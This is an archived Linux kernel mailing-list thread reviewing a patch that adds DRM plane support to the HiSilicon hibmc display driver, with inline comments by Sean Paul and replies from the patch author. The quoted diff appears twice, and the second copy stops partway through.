>>> + struct drm_framebuffer *fb = state->fb;
>>> + struct drm_crtc *crtc = state->crtc;
>>> + struct drm_crtc_state *crtc_state;
>>> + u32 src_x = state->src_x >> 16;
>>> + u32 src_y = state->src_y >> 16;
>>> + u32 src_w = state->src_w >> 16;
>>> + u32 src_h = state->src_h >> 16;
>>> + int crtc_x = state->crtc_x;
>>> + int crtc_y = state->crtc_y;
>>> + u32 crtc_w = state->crtc_w;
>>> + u32 crtc_h = state->crtc_h;
>>
>>
>> I don't think you gain anything with the crtc_* vars
>
>
> It would work well, but looks redundant and not simple enough,
> will delete them, thanks.
>
>>
>>> +
>>> + if (!crtc || !fb)
>>> + return 0;
>>> +
>>> + crtc_state = drm_atomic_get_crtc_state(state->state, crtc);
>>> + if (IS_ERR(crtc_state))
>>> + return PTR_ERR(crtc_state);
>>> +
>>> + if (src_w != crtc_w || src_h != crtc_h) {
>>> + DRM_ERROR("Scale not support!!!\n");
>>
>>
>> I like the enthusiasm, but I think DRM_DEBUG_ATOMIC would be better
>
>
> I'm sorry, can you explain why here should be an DRM_DEBUG_ATOMIC,
> when this condition is hit, it is really an error and atomic_commit will
> abort with failure.
>
I don't have strong opinions, but this class of failure isn't a driver
error, so much as invalid input from userspace. As such, I'd tend to
classify it as debug level.
At any rate, keep it ERROR if you really want.
Sean
>>
>>> + return -EINVAL;
>>> + }
>>> +
>>> + if (src_x + src_w > fb->width ||
>>> + src_y + src_h > fb->height)
>>
>>
>> These should be already covered in drm_atomic_plane_check
>
>
> understood, thanks.
>
>>
>>> + return -EINVAL;
>>> +
>>> + if (crtc_x < 0 || crtc_y < 0)
>>
>>
>> Print DRM_DEBUG_ATOMIC message here
>
>
> agreed. thanks.
>
>>
>>> + return -EINVAL;
>>> +
>>> + if (crtc_x + crtc_w > crtc_state->adjusted_mode.hdisplay ||
>>> + crtc_y + crtc_h > crtc_state->adjusted_mode.vdisplay)
>>
>>
>> DRM_DEBUG_ATOMIC here too
>
>
> ditto.
>
>>
>>> + return -EINVAL;
>>> +
>>> + return 0;
>>> +}
>>> +
>>> +static void hibmc_plane_atomic_update(struct drm_plane *plane,
>>> + struct drm_plane_state *old_state)
>>> +{
>>> + struct drm_plane_state *state = plane->state;
>>> + u32 reg;
>>> + int ret;
>>> + u64 gpu_addr = 0;
>>> + unsigned int line_l;
>>> + struct hibmc_drm_device *hidev =
>>> + (struct hibmc_drm_device *)plane->dev->dev_private;
>>> +
>>
>>
>> nit: extra line
>
>
> will delete, thanks.
>
>>> + struct hibmc_framebuffer *hibmc_fb;
>>> + struct hibmc_bo *bo;
>>> +
>>> + hibmc_fb = to_hibmc_framebuffer(state->fb);
>>> + bo = gem_to_hibmc_bo(hibmc_fb->obj);
>>> + ret = ttm_bo_reserve(&bo->bo, true, false, NULL);
>>> + if (ret)
>>
>>
>> Print error
>
>
> agreed, thanks.
>
>>
>>> + return;
>>> +
>>> + hibmc_bo_pin(bo, TTM_PL_FLAG_VRAM, &gpu_addr);
>>
>>
>> Check return value
>
>
> ok, thanks.
>
>>
>>> + if (ret) {
>>> + ttm_bo_unreserve(&bo->bo);
>>> + return;
>>> + }
>>> +
>>> + ttm_bo_unreserve(&bo->bo);
>>
>>
>> Move this up before the conditional so you don't have to call it in
>> both branches
>
>
> understood, thanks.
>
>>
>>> +
>>> + writel(gpu_addr, hidev->mmio + HIBMC_CRT_FB_ADDRESS);
>>> +
>>> + reg = state->fb->width * (state->fb->bits_per_pixel >> 3);
>>> + /* now line_pad is 16 */
>>> + reg = PADDING(16, reg);
>>> +
>>> + line_l = state->fb->width * state->fb->bits_per_pixel / 8;
>>
>>
>> above, you >> 3. here you / 8, pick one?
>
>
> i prefer /8 because it is more readable to human, although it is less
> effective
> in executing.
>
I think the compiler will optimize it, regardless.
Sean
>>
>>> + line_l = PADDING(16, line_l);
>>> + writel((HIBMC_CRT_FB_WIDTH_WIDTH(reg) &
>>> HIBMC_CRT_FB_WIDTH_WIDTH_MASK) |
>>> + (HIBMC_CRT_FB_WIDTH_OFFS(line_l) &
>>> HIBMC_CRT_FB_WIDTH_OFFS_MASK),
>>> + hidev->mmio + HIBMC_CRT_FB_WIDTH);
>>> +
>>> + /* SET PIXEL FORMAT */
>>> + reg = readl(hidev->mmio + HIBMC_CRT_DISP_CTL);
>>> + reg = reg & ~HIBMC_CRT_DISP_CTL_FORMAT_MASK;
>>> + reg = reg | (HIBMC_CRT_DISP_CTL_FORMAT(state->fb->bits_per_pixel
>>> >> 4) &
>>> + HIBMC_CRT_DISP_CTL_FORMAT_MASK);
>>> + writel(reg, hidev->mmio + HIBMC_CRT_DISP_CTL);
>>> +}
>>> +
>>> +static void hibmc_plane_atomic_disable(struct drm_plane *plane,
>>> + struct drm_plane_state *old_state)
>>> +{
>>> +}
>>
>>
>> The caller checks for NULL, no need to stub
>
>
> thanks for pointing it out,
> will remove.
>
> Regards,
> Rongrong.
>
>>
>>> +
>>> +static const u32 channel_formats1[] = {
>>> + DRM_FORMAT_RGB565, DRM_FORMAT_BGR565, DRM_FORMAT_RGB888,
>>> + DRM_FORMAT_BGR888, DRM_FORMAT_XRGB8888, DRM_FORMAT_XBGR8888,
>>> + DRM_FORMAT_RGBA8888, DRM_FORMAT_BGRA8888, DRM_FORMAT_ARGB8888,
>>> + DRM_FORMAT_ABGR8888
>>> +};
>>> +
>>> +static struct drm_plane_funcs hibmc_plane_funcs = {
>>> + .update_plane = drm_atomic_helper_update_plane,
>>> + .disable_plane = drm_atomic_helper_disable_plane,
>>> + .set_property = drm_atomic_helper_plane_set_property,
>>> + .destroy = drm_plane_cleanup,
>>> + .reset = drm_atomic_helper_plane_reset,
>>> + .atomic_duplicate_state =
>>> drm_atomic_helper_plane_duplicate_state,
>>> + .atomic_destroy_state = drm_atomic_helper_plane_destroy_state,
>>> +};
>>> +
>>> +static const struct drm_plane_helper_funcs hibmc_plane_helper_funcs = {
>>> + .atomic_check = hibmc_plane_atomic_check,
>>> + .atomic_update = hibmc_plane_atomic_update,
>>> + .atomic_disable = hibmc_plane_atomic_disable,
>>> +};
>>> +
>>> +int hibmc_plane_init(struct hibmc_drm_device *hidev)
>>> +{
>>> + struct drm_device *dev = hidev->dev;
>>> + struct drm_plane *plane = &hidev->plane;
>>> + int ret = 0;
>>> +
>>> + /*
>>> + * plane init
>>> + * TODO: Now only support primary plane, overlay planes
>>> + * need to do.
>>> + */
>>> + ret = drm_universal_plane_init(dev, plane, 1, &hibmc_plane_funcs,
>>> + channel_formats1,
>>> + ARRAY_SIZE(channel_formats1),
>>> + DRM_PLANE_TYPE_PRIMARY,
>>> + NULL);
>>> + if (ret) {
>>> + DRM_ERROR("fail to init plane!!!\n");
>>> + return ret;
>>> + }
>>> +
>>> + drm_plane_helper_add(plane, &hibmc_plane_helper_funcs);
>>> + return 0;
>>> +}
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>> new file mode 100644
>>> index 0000000..4ce0d7b
>>> --- /dev/null
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>> @@ -0,0 +1,29 @@
>>> +/* Hisilicon Hibmc SoC drm driver
>>> + *
>>> + * Based on the bochs drm driver.
>>> + *
>>> + * Copyright (c) 2016 Huawei Limited.
>>> + *
>>> + * Author:
>>> + * Rongrong Zou <zourongrong@huawei.com>
>>> + * Rongrong Zou <zourongrong@gmail.com>
>>> + * Jianhua Li <lijianhua@huawei.com>
>>> + *
>>> + * This program is free software; you can redistribute it and/or modify
>>> + * it under the terms of the GNU General Public License as published by
>>> + * the Free Software Foundation; either version 2 of the License, or
>>> + * (at your option) any later version.
>>> + *
>>> + */
>>> +
>>> +#ifndef HIBMC_DRM_DE_H
>>> +#define HIBMC_DRM_DE_H
>>> +
>>> +struct panel_pll {
>>> + unsigned long M;
>>> + unsigned long N;
>>> + unsigned long OD;
>>> + unsigned long POD;
>>> +};
>>> +
>>> +#endif
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> index 5ac7a7e..7d96583 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> @@ -18,6 +18,7 @@
>>>
>>> #include <linux/module.h>
>>> #include <linux/console.h>
>>> +#include <drm/drm_crtc_helper.h>
>>>
>>> #include "hibmc_drm_drv.h"
>>> #include "hibmc_drm_regs.h"
>>> @@ -47,8 +48,8 @@ static void hibmc_disable_vblank(struct drm_device
>>> *dev, unsigned int pipe)
>>> }
>>>
>>> static struct drm_driver hibmc_driver = {
>>> - .driver_features = DRIVER_GEM,
>>> -
>>> + .driver_features = DRIVER_GEM | DRIVER_MODESET |
>>> + DRIVER_ATOMIC,
>>> .fops = &hibmc_fops,
>>> .name = "hibmc",
>>> .date = "20160828",
>>> @@ -70,6 +71,7 @@ static int hibmc_pm_suspend(struct device *dev)
>>> struct drm_device *drm_dev = pci_get_drvdata(pdev);
>>> struct hibmc_drm_device *hidev = drm_dev->dev_private;
>>>
>>> + drm_kms_helper_poll_disable(drm_dev);
>>> drm_fb_helper_set_suspend_unlocked(&hidev->fbdev->helper, 1);
>>>
>>> return 0;
>>> @@ -81,7 +83,9 @@ static int hibmc_pm_resume(struct device *dev)
>>> struct drm_device *drm_dev = pci_get_drvdata(pdev);
>>> struct hibmc_drm_device *hidev = drm_dev->dev_private;
>>>
>>> + drm_helper_resume_force_mode(drm_dev);
>>> drm_fb_helper_set_suspend_unlocked(&hidev->fbdev->helper, 0);
>>> + drm_kms_helper_poll_enable(drm_dev);
>>>
>>> return 0;
>>> }
>>> @@ -91,6 +95,41 @@ static int hibmc_pm_resume(struct device *dev)
>>> hibmc_pm_resume)
>>> };
>>>
>>> +static int hibmc_kms_init(struct hibmc_drm_device *hidev)
>>> +{
>>> + int ret;
>>> +
>>> + drm_mode_config_init(hidev->dev);
>>> + hidev->mode_config_initialized = true;
>>> +
>>> + hidev->dev->mode_config.min_width = 0;
>>> + hidev->dev->mode_config.min_height = 0;
>>> + hidev->dev->mode_config.max_width = 1920;
>>> + hidev->dev->mode_config.max_height = 1440;
>>> +
>>> + hidev->dev->mode_config.fb_base = hidev->fb_base;
>>> + hidev->dev->mode_config.preferred_depth = 24;
>>> + hidev->dev->mode_config.prefer_shadow = 0;
>>> +
>>> + hidev->dev->mode_config.funcs = (void *)&hibmc_mode_funcs;
>>> +
>>> + ret = hibmc_plane_init(hidev);
>>> + if (ret) {
>>> + DRM_ERROR("fail to init plane!!!\n");
>>> + return ret;
>>> + }
>>> +
>>> + return 0;
>>> +}
>>> +
>>> +static void hibmc_kms_fini(struct hibmc_drm_device *hidev)
>>> +{
>>> + if (hidev->mode_config_initialized) {
>>> + drm_mode_config_cleanup(hidev->dev);
>>> + hidev->mode_config_initialized = false;
>>> + }
>>> +}
>>> +
>>> static int hibmc_hw_config(struct hibmc_drm_device *hidev)
>>> {
>>> unsigned int reg;
>>> @@ -183,6 +222,7 @@ static int hibmc_unload(struct drm_device *dev)
>>> struct hibmc_drm_device *hidev = dev->dev_private;
>>>
>>> hibmc_fbdev_fini(hidev);
>>> + hibmc_kms_fini(hidev);
>>> hibmc_mm_fini(hidev);
>>> hibmc_hw_fini(hidev);
>>> dev->dev_private = NULL;
>>> @@ -208,6 +248,13 @@ static int hibmc_load(struct drm_device *dev,
>>> unsigned long flags)
>>> if (ret)
>>> goto err;
>>>
>>> + ret = hibmc_kms_init(hidev);
>>> + if (ret)
>>> + goto err;
>>> +
>>> + /* reset all the states of crtc/plane/encoder/connector */
>>> + drm_mode_config_reset(dev);
>>> +
>>> ret = hibmc_fbdev_init(hidev);
>>> if (ret)
>>> goto err;
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> index a40e9a7..49e39d2 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> @@ -45,6 +45,8 @@ struct hibmc_drm_device {
>>>
>>> /* drm */
>>> struct drm_device *dev;
>>> + struct drm_plane plane;
>>> + bool mode_config_initialized;
>>>
>>> /* ttm */
>>> struct {
>>> @@ -82,6 +84,7 @@ static inline struct hibmc_bo *gem_to_hibmc_bo(struct
>>> drm_gem_object *gem)
>>>
>>> #define DRM_FILE_PAGE_OFFSET (0x100000000ULL >> PAGE_SHIFT)
>>>
>>> +int hibmc_plane_init(struct hibmc_drm_device *hidev);
>>> int hibmc_fbdev_init(struct hibmc_drm_device *hidev);
>>> void hibmc_fbdev_fini(struct hibmc_drm_device *hidev);
>>>
>>> @@ -102,4 +105,6 @@ int hibmc_dumb_mmap_offset(struct drm_file *file,
>>> struct drm_device *dev,
>>> u32 handle, u64 *offset);
>>> int hibmc_mmap(struct file *filp, struct vm_area_struct *vma);
>>>
>>> +extern const struct drm_mode_config_funcs hibmc_mode_funcs;
>>> +
>>> #endif
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> index 9822f62..beb4d76 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> @@ -554,3 +554,9 @@ struct hibmc_framebuffer *
>>> }
>>> return &hibmc_fb->fb;
>>> }
>>> +
>>> +const struct drm_mode_config_funcs hibmc_mode_funcs = {
>>> + .atomic_check = drm_atomic_helper_check,
>>> + .atomic_commit = drm_atomic_helper_commit,
>>> + .fb_create = hibmc_user_framebuffer_create,
>>> +};
>>> --
>>> 1.9.1
>>>
>>>
>>> _______________________________________________
>>> linux-arm-kernel mailing list
>>> linux-arm-kernel@lists.infradead.org
>>> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel
>>
>> _______________________________________________
>> linuxarm mailing list
>> linuxarm@huawei.com
>> http://rnd-openeuler.huawei.com/mailman/listinfo/linuxarm
>>
>> .
>>
>
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel@lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel
_______________________________________________
dri-devel mailing list
dri-devel@lists.freedesktop.org
https://lists.freedesktop.org/mailman/listinfo/dri-devel
^ permalink raw reply
* [PATCH v6 4/9] drm/hisilicon/hibmc: Add plane for DE
From: Sean Paul @ 2016-11-14 17:08 UTC (permalink / raw)
To: linux-arm-kernel
In-Reply-To: <5826A498.4000002@huawei.com>
On Sat, Nov 12, 2016 at 12:11 AM, Rongrong Zou <zourongrong@huawei.com> wrote:
> ? 2016/11/11 5:53, Sean Paul ??:
>>
>> On Fri, Oct 28, 2016 at 3:27 AM, Rongrong Zou <zourongrong@gmail.com>
>> wrote:
>>>
>>> Add plane funcs and helper funcs for DE.
>>>
>>> Signed-off-by: Rongrong Zou <zourongrong@gmail.com>
>>> ---
>>> drivers/gpu/drm/hisilicon/hibmc/Kconfig | 1 +
>>> drivers/gpu/drm/hisilicon/hibmc/Makefile | 2 +-
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c | 170
>>> ++++++++++++++++++++++++
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h | 29 ++++
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c | 51 ++++++-
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h | 5 +
>>> drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c | 6 +
>>> 7 files changed, 261 insertions(+), 3 deletions(-)
>>> create mode 100644 drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> create mode 100644 drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>>
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> b/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> index bcb8c18..380622a 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/Kconfig
>>> @@ -1,6 +1,7 @@
>>> config DRM_HISI_HIBMC
>>> tristate "DRM Support for Hisilicon Hibmc"
>>> depends on DRM && PCI
>>> + select DRM_KMS_HELPER
>>> select DRM_TTM
>>>
>>> help
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> b/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> index 810a37e..72e107e 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/Makefile
>>> @@ -1,5 +1,5 @@
>>> ccflags-y := -Iinclude/drm
>>> -hibmc-drm-y := hibmc_drm_drv.o hibmc_drm_fbdev.o hibmc_drm_power.o
>>> hibmc_ttm.o
>>> +hibmc-drm-y := hibmc_drm_drv.o hibmc_drm_de.o hibmc_drm_fbdev.o
>>> hibmc_drm_power.o hibmc_ttm.o
>>>
>>> obj-$(CONFIG_DRM_HISI_HIBMC) +=hibmc-drm.o
>>> #obj-y += hibmc-drm.o
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> new file mode 100644
>>> index 0000000..9c1a68c
>>> --- /dev/null
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.c
>>> @@ -0,0 +1,170 @@
>>> +/* Hisilicon Hibmc SoC drm driver
>>> + *
>>> + * Based on the bochs drm driver.
>>> + *
>>> + * Copyright (c) 2016 Huawei Limited.
>>> + *
>>> + * Author:
>>> + * Rongrong Zou <zourongrong@huawei.com>
>>> + * Rongrong Zou <zourongrong@gmail.com>
>>> + * Jianhua Li <lijianhua@huawei.com>
>>> + *
>>> + * This program is free software; you can redistribute it and/or modify
>>> + * it under the terms of the GNU General Public License as published by
>>> + * the Free Software Foundation; either version 2 of the License, or
>>> + * (at your option) any later version.
>>> + *
>>> + */
>>> +
>>> +#include <drm/drm_atomic.h>
>>> +#include <drm/drm_atomic_helper.h>
>>> +#include <drm/drm_crtc_helper.h>
>>> +#include <drm/drm_plane_helper.h>
>>> +
>>> +#include "hibmc_drm_drv.h"
>>> +#include "hibmc_drm_regs.h"
>>> +#include "hibmc_drm_power.h"
>>> +
>>> +/*
>>> ---------------------------------------------------------------------- */
>>
>>
>> Remove
>
>
> ok, will do, thanks.
>
>>
>>> +
>>> +static int hibmc_plane_atomic_check(struct drm_plane *plane,
>>> + struct drm_plane_state *state)
>>> +{
>>> + struct drm_framebuffer *fb = state->fb;
>>> + struct drm_crtc *crtc = state->crtc;
>>> + struct drm_crtc_state *crtc_state;
>>> + u32 src_x = state->src_x >> 16;
>>> + u32 src_y = state->src_y >> 16;
>>> + u32 src_w = state->src_w >> 16;
>>> + u32 src_h = state->src_h >> 16;
>>> + int crtc_x = state->crtc_x;
>>> + int crtc_y = state->crtc_y;
>>> + u32 crtc_w = state->crtc_w;
>>> + u32 crtc_h = state->crtc_h;
>>
>>
>> I don't think you gain anything with the crtc_* vars
>
>
> It would work well, but looks redundant and not simple enough,
> will delete them, thanks.
>
>>
>>> +
>>> + if (!crtc || !fb)
>>> + return 0;
>>> +
>>> + crtc_state = drm_atomic_get_crtc_state(state->state, crtc);
>>> + if (IS_ERR(crtc_state))
>>> + return PTR_ERR(crtc_state);
>>> +
>>> + if (src_w != crtc_w || src_h != crtc_h) {
>>> + DRM_ERROR("Scale not support!!!\n");
>>
>>
>> I like the enthusiasm, but I think DRM_DEBUG_ATOMIC would be better
>
>
> I'm sorry, can you explain why here should be an DRM_DEBUG_ATOMIC,
> when this condition is hit, it is really an error and atomic_commit will
> abort with failure.
>
I don't have strong opinions, but this class of failure isn't a driver
error, so much as invalid input from userspace. As such, I'd tend to
classify it as debug level.
At any rate, keep it ERROR if you really want.
Sean
>>
>>> + return -EINVAL;
>>> + }
>>> +
>>> + if (src_x + src_w > fb->width ||
>>> + src_y + src_h > fb->height)
>>
>>
>> These should be already covered in drm_atomic_plane_check
>
>
> understood, thanks.
>
>>
>>> + return -EINVAL;
>>> +
>>> + if (crtc_x < 0 || crtc_y < 0)
>>
>>
>> Print DRM_DEBUG_ATOMIC message here
>
>
> agreed. thanks.
>
>>
>>> + return -EINVAL;
>>> +
>>> + if (crtc_x + crtc_w > crtc_state->adjusted_mode.hdisplay ||
>>> + crtc_y + crtc_h > crtc_state->adjusted_mode.vdisplay)
>>
>>
>> DRM_DEBUG_ATOMIC here too
>
>
> ditto.
>
>>
>>> + return -EINVAL;
>>> +
>>> + return 0;
>>> +}
>>> +
>>> +static void hibmc_plane_atomic_update(struct drm_plane *plane,
>>> + struct drm_plane_state *old_state)
>>> +{
>>> + struct drm_plane_state *state = plane->state;
>>> + u32 reg;
>>> + int ret;
>>> + u64 gpu_addr = 0;
>>> + unsigned int line_l;
>>> + struct hibmc_drm_device *hidev =
>>> + (struct hibmc_drm_device *)plane->dev->dev_private;
>>> +
>>
>>
>> nit: extra line
>
>
> will delete, thanks.
>
>>> + struct hibmc_framebuffer *hibmc_fb;
>>> + struct hibmc_bo *bo;
>>> +
>>> + hibmc_fb = to_hibmc_framebuffer(state->fb);
>>> + bo = gem_to_hibmc_bo(hibmc_fb->obj);
>>> + ret = ttm_bo_reserve(&bo->bo, true, false, NULL);
>>> + if (ret)
>>
>>
>> Print error
>
>
> agreed, thanks.
>
>>
>>> + return;
>>> +
>>> + hibmc_bo_pin(bo, TTM_PL_FLAG_VRAM, &gpu_addr);
>>
>>
>> Check return value
>
>
> ok, thanks.
>
>>
>>> + if (ret) {
>>> + ttm_bo_unreserve(&bo->bo);
>>> + return;
>>> + }
>>> +
>>> + ttm_bo_unreserve(&bo->bo);
>>
>>
>> Move this up before the conditional so you don't have to call it in
>> both branches
>
>
> understood, thanks.
>
>>
>>> +
>>> + writel(gpu_addr, hidev->mmio + HIBMC_CRT_FB_ADDRESS);
>>> +
>>> + reg = state->fb->width * (state->fb->bits_per_pixel >> 3);
>>> + /* now line_pad is 16 */
>>> + reg = PADDING(16, reg);
>>> +
>>> + line_l = state->fb->width * state->fb->bits_per_pixel / 8;
>>
>>
>> above, you >> 3. here you / 8, pick one?
>
>
> i prefer /8 because it is more readable to human, although it is less
> effective
> in executing.
>
I think the compiler will optimize it, regardless.
Sean
>>
>>> + line_l = PADDING(16, line_l);
>>> + writel((HIBMC_CRT_FB_WIDTH_WIDTH(reg) &
>>> HIBMC_CRT_FB_WIDTH_WIDTH_MASK) |
>>> + (HIBMC_CRT_FB_WIDTH_OFFS(line_l) &
>>> HIBMC_CRT_FB_WIDTH_OFFS_MASK),
>>> + hidev->mmio + HIBMC_CRT_FB_WIDTH);
>>> +
>>> + /* SET PIXEL FORMAT */
>>> + reg = readl(hidev->mmio + HIBMC_CRT_DISP_CTL);
>>> + reg = reg & ~HIBMC_CRT_DISP_CTL_FORMAT_MASK;
>>> + reg = reg | (HIBMC_CRT_DISP_CTL_FORMAT(state->fb->bits_per_pixel
>>> >> 4) &
>>> + HIBMC_CRT_DISP_CTL_FORMAT_MASK);
>>> + writel(reg, hidev->mmio + HIBMC_CRT_DISP_CTL);
>>> +}
>>> +
>>> +static void hibmc_plane_atomic_disable(struct drm_plane *plane,
>>> + struct drm_plane_state *old_state)
>>> +{
>>> +}
>>
>>
>> The caller checks for NULL, no need to stub
>
>
> thanks for pointing it out,
> will remove.
>
> Regards,
> Rongrong.
>
>>
>>> +
>>> +static const u32 channel_formats1[] = {
>>> + DRM_FORMAT_RGB565, DRM_FORMAT_BGR565, DRM_FORMAT_RGB888,
>>> + DRM_FORMAT_BGR888, DRM_FORMAT_XRGB8888, DRM_FORMAT_XBGR8888,
>>> + DRM_FORMAT_RGBA8888, DRM_FORMAT_BGRA8888, DRM_FORMAT_ARGB8888,
>>> + DRM_FORMAT_ABGR8888
>>> +};
>>> +
>>> +static struct drm_plane_funcs hibmc_plane_funcs = {
>>> + .update_plane = drm_atomic_helper_update_plane,
>>> + .disable_plane = drm_atomic_helper_disable_plane,
>>> + .set_property = drm_atomic_helper_plane_set_property,
>>> + .destroy = drm_plane_cleanup,
>>> + .reset = drm_atomic_helper_plane_reset,
>>> + .atomic_duplicate_state =
>>> drm_atomic_helper_plane_duplicate_state,
>>> + .atomic_destroy_state = drm_atomic_helper_plane_destroy_state,
>>> +};
>>> +
>>> +static const struct drm_plane_helper_funcs hibmc_plane_helper_funcs = {
>>> + .atomic_check = hibmc_plane_atomic_check,
>>> + .atomic_update = hibmc_plane_atomic_update,
>>> + .atomic_disable = hibmc_plane_atomic_disable,
>>> +};
>>> +
>>> +int hibmc_plane_init(struct hibmc_drm_device *hidev)
>>> +{
>>> + struct drm_device *dev = hidev->dev;
>>> + struct drm_plane *plane = &hidev->plane;
>>> + int ret = 0;
>>> +
>>> + /*
>>> + * plane init
>>> + * TODO: Now only support primary plane, overlay planes
>>> + * need to do.
>>> + */
>>> + ret = drm_universal_plane_init(dev, plane, 1, &hibmc_plane_funcs,
>>> + channel_formats1,
>>> + ARRAY_SIZE(channel_formats1),
>>> + DRM_PLANE_TYPE_PRIMARY,
>>> + NULL);
>>> + if (ret) {
>>> + DRM_ERROR("fail to init plane!!!\n");
>>> + return ret;
>>> + }
>>> +
>>> + drm_plane_helper_add(plane, &hibmc_plane_helper_funcs);
>>> + return 0;
>>> +}
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>> new file mode 100644
>>> index 0000000..4ce0d7b
>>> --- /dev/null
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_de.h
>>> @@ -0,0 +1,29 @@
>>> +/* Hisilicon Hibmc SoC drm driver
>>> + *
>>> + * Based on the bochs drm driver.
>>> + *
>>> + * Copyright (c) 2016 Huawei Limited.
>>> + *
>>> + * Author:
>>> + * Rongrong Zou <zourongrong@huawei.com>
>>> + * Rongrong Zou <zourongrong@gmail.com>
>>> + * Jianhua Li <lijianhua@huawei.com>
>>> + *
>>> + * This program is free software; you can redistribute it and/or modify
>>> + * it under the terms of the GNU General Public License as published by
>>> + * the Free Software Foundation; either version 2 of the License, or
>>> + * (at your option) any later version.
>>> + *
>>> + */
>>> +
>>> +#ifndef HIBMC_DRM_DE_H
>>> +#define HIBMC_DRM_DE_H
>>> +
>>> +struct panel_pll {
>>> + unsigned long M;
>>> + unsigned long N;
>>> + unsigned long OD;
>>> + unsigned long POD;
>>> +};
>>> +
>>> +#endif
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> index 5ac7a7e..7d96583 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.c
>>> @@ -18,6 +18,7 @@
>>>
>>> #include <linux/module.h>
>>> #include <linux/console.h>
>>> +#include <drm/drm_crtc_helper.h>
>>>
>>> #include "hibmc_drm_drv.h"
>>> #include "hibmc_drm_regs.h"
>>> @@ -47,8 +48,8 @@ static void hibmc_disable_vblank(struct drm_device
>>> *dev, unsigned int pipe)
>>> }
>>>
>>> static struct drm_driver hibmc_driver = {
>>> - .driver_features = DRIVER_GEM,
>>> -
>>> + .driver_features = DRIVER_GEM | DRIVER_MODESET |
>>> + DRIVER_ATOMIC,
>>> .fops = &hibmc_fops,
>>> .name = "hibmc",
>>> .date = "20160828",
>>> @@ -70,6 +71,7 @@ static int hibmc_pm_suspend(struct device *dev)
>>> struct drm_device *drm_dev = pci_get_drvdata(pdev);
>>> struct hibmc_drm_device *hidev = drm_dev->dev_private;
>>>
>>> + drm_kms_helper_poll_disable(drm_dev);
>>> drm_fb_helper_set_suspend_unlocked(&hidev->fbdev->helper, 1);
>>>
>>> return 0;
>>> @@ -81,7 +83,9 @@ static int hibmc_pm_resume(struct device *dev)
>>> struct drm_device *drm_dev = pci_get_drvdata(pdev);
>>> struct hibmc_drm_device *hidev = drm_dev->dev_private;
>>>
>>> + drm_helper_resume_force_mode(drm_dev);
>>> drm_fb_helper_set_suspend_unlocked(&hidev->fbdev->helper, 0);
>>> + drm_kms_helper_poll_enable(drm_dev);
>>>
>>> return 0;
>>> }
>>> @@ -91,6 +95,41 @@ static int hibmc_pm_resume(struct device *dev)
>>> hibmc_pm_resume)
>>> };
>>>
>>> +static int hibmc_kms_init(struct hibmc_drm_device *hidev)
>>> +{
>>> + int ret;
>>> +
>>> + drm_mode_config_init(hidev->dev);
>>> + hidev->mode_config_initialized = true;
>>> +
>>> + hidev->dev->mode_config.min_width = 0;
>>> + hidev->dev->mode_config.min_height = 0;
>>> + hidev->dev->mode_config.max_width = 1920;
>>> + hidev->dev->mode_config.max_height = 1440;
>>> +
>>> + hidev->dev->mode_config.fb_base = hidev->fb_base;
>>> + hidev->dev->mode_config.preferred_depth = 24;
>>> + hidev->dev->mode_config.prefer_shadow = 0;
>>> +
>>> + hidev->dev->mode_config.funcs = (void *)&hibmc_mode_funcs;
>>> +
>>> + ret = hibmc_plane_init(hidev);
>>> + if (ret) {
>>> + DRM_ERROR("fail to init plane!!!\n");
>>> + return ret;
>>> + }
>>> +
>>> + return 0;
>>> +}
>>> +
